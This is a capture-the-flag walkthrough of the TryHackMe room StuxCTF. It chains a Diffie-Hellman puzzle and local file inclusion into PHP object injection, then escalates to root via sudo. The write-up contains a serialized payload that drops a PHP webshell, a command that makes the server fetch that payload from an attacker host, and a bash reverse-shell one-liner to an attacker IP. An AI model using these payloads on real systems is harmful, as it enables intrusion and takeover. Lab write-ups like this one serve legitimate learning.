Platform: TryHackMe
Difficulty: Easy
Category: Web, Cryptography, PHP Object Injection
Overview
StuxCTF chains together several techniques: Diffie-Hellman key exchange to find a hidden directory, Local File Inclusion (LFI) to read PHP source code, and PHP Object Injection for Remote Code Execution. No brute-forcing required — just careful enumeration and connecting the dots.
Reconnaissance
Nmap Scan
nmap -sCV -A 10.49.155.3
Results:
-
22/tcp— OpenSSH 7.2p2 -
80/tcp— Apache 2.4.18
Nmap also flagged a robots.txt:
curl http://10.49.155.3/robots.txt
# robots.txt generated by StuxCTF
# Diffie-Hellman
User-agent: *
Disallow: /StuxCTF/
Two clues immediately: the path /StuxCTF/ and the keyword Diffie-Hellman.
Step 1 — Finding the Hidden Directory (Diffie-Hellman)
Viewing the main page source revealed a hidden HTML comment with Diffie-Hellman parameters:
<!-- p: 9975298661930085086019708402870402191114171745913160469454315876556947370642799226714405016920875594030192024506376929926694545081888689821796050434591251; g: 7; a: 330; b: 450; g^c: 6091917800833598741530924081762225477418277010142022622731688158297759621329407070985497917078988781448889947074350694220209769840915705739528359582454617; -->
This is a 3-party Diffie-Hellman setup:
-
p= large prime modulus -
g = 7= generator -
a = 330,b = 450= two private keys -
g^c= third party's public key
The shared secret is:
secret = ((g^c)^a)^b mod p
Python script:
#!/usr/bin/env python3
def main():
p = 9975298661930085086019708402870402191114171745913160469454315876556947370642799226714405016920875594030192024506376929926694545081888689821796050434591251
g = 7
a = 330
b = 450
gExpc = 6091917800833598741530924081762225477418277010142022622731688158297759621329407070985497917078988781448889947074350694220209769840915705739528359582454617
gca = pow(gExpc, a, p)
gcab = pow(gca, b, p)
# Only print first 128 characters
print(f'Hidden directory: {str(gcab)[:128]}')
if __name__ == '__main__':
main()
Output:
Hidden directory: 47315028937264895539131328176684350732577039984023005189203993885687328953804202704977050807800832928198526567069446044422855055
Step 2 — The Hidden Directory
Navigating to http://10.49.155.3/47315028.../ showed a simple page with:
- A heading: "Follow the white rabbit.."
- An
<a href="index.php">Home</a>link - A hint in the source:
<!-- hint: /?file= -->
Step 3 — Reading the PHP Source via LFI
The ?file= parameter hints at a Local File Inclusion vulnerability. Using it to read index.php:
http://10.49.155.3/<hidden_dir>/?file=index.php
This returned a long hex string. To decode it on Kali:
# Save the hex output to hex.txt, then:
cat hex.txt | xxd -r -p | rev | base64 -d
The encoding chain was: base64 → reverse → hex (so decoding is hex → reverse → base64).
Decoded PHP source (key parts):
class file {
public $file = "dump.txt";
public $data = "dump test";
function __destruct(){
file_put_contents($this->file, $this->data);
}
}
$file_name = $_GET['file'];
if(isset($file_name) && !file_exists($file_name)){
echo "File no Exist!";
}
if($file_name == "index.php"){
$content = file_get_contents($file_name);
$tags = array("", "");
echo bin2hex(strrev(base64_encode(nl2br(str_replace($tags, "", $content)))));
}
unserialize(file_get_contents($file_name));
Two critical findings:
-
unserialize(file_get_contents($file_name))— fetches any URL or file we pass and deserializes it - The
fileclass__destruct()magic method writes arbitrary content to any file
This is a PHP Object Injection vulnerability.
Step 4 — Exploiting PHP Object Injection
We craft a malicious serialized file object that writes a PHP webshell when deserialized:
echo 'O:4:"file":2:{s:4:"file";s:9:"shell.php";s:4:"data";s:30:"<?php system($_GET["cmd"]); ?>";}' > test.php
Host it on a local HTTP server:
python3 -m http.server 8000
Trigger the server to fetch and deserialize our payload:
curl 'http://10.49.155.3/<hidden_dir>/?file=http://<YOUR_IP>:8000/test.php'
Response is File no Exist! — expected, and it confirms the payload was fetched. The __destruct() runs automatically and writes shell.php to the server.
Step 5 — Reverse Shell
Start a netcat listener:
nc -lvnp 4444
Trigger the reverse shell through the webshell (URL encoding required for special characters):
curl -G "http://10.49.155.3/<hidden_dir>/shell.php" \
--data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/<YOUR_IP>/4444 0>&1"'
Shell received as www-data.
Upgrade to a stable TTY:
python3 -c 'import pty; pty.spawn("/bin/bash")'
Step 6 — Privilege Escalation
Checking sudo permissions:
sudo -l
User www-data may run the following commands on ubuntu:
(ALL) NOPASSWD: ALL
www-data has unrestricted passwordless sudo — instant root:
sudo su
Flags
User flag (/home/grecia/user.txt):
[redacted]
Root flag (/root/root.txt):
[redacted]
Full Attack Chain
Nmap → robots.txt → /StuxCTF hint + "Diffie-Hellman"
↓
Page source → DH parameters in HTML comment
↓
Compute 3-party shared secret → first 128 digits = hidden directory
↓
Hidden directory → hint: /?file=
↓
/?file=index.php → long hex output
↓
Decode: hex → reverse → base64 → PHP source code
↓
Source reveals: unserialize(file_get_contents($_GET['file']))
↓
PHP Object Injection → serialize malicious `file` object
↓
Server fetches payload → __destruct() writes shell.php
↓
Reverse shell → www-data
↓
sudo -l → NOPASSWD: ALL → root ✓
Key Takeaways
-
Never expose DH private keys in HTML comments —
aandbmust stay secret -
Never pass user input to
unserialize()— always leads to object injection -
PHP magic methods like
__destruct()are dangerous with user-controlled deserialization -
Principle of least privilege —
www-datashould never haveNOPASSWD: ALLsudo rights
Happy hacking! 🐇 Follow the white rabbit.
Top comments (0)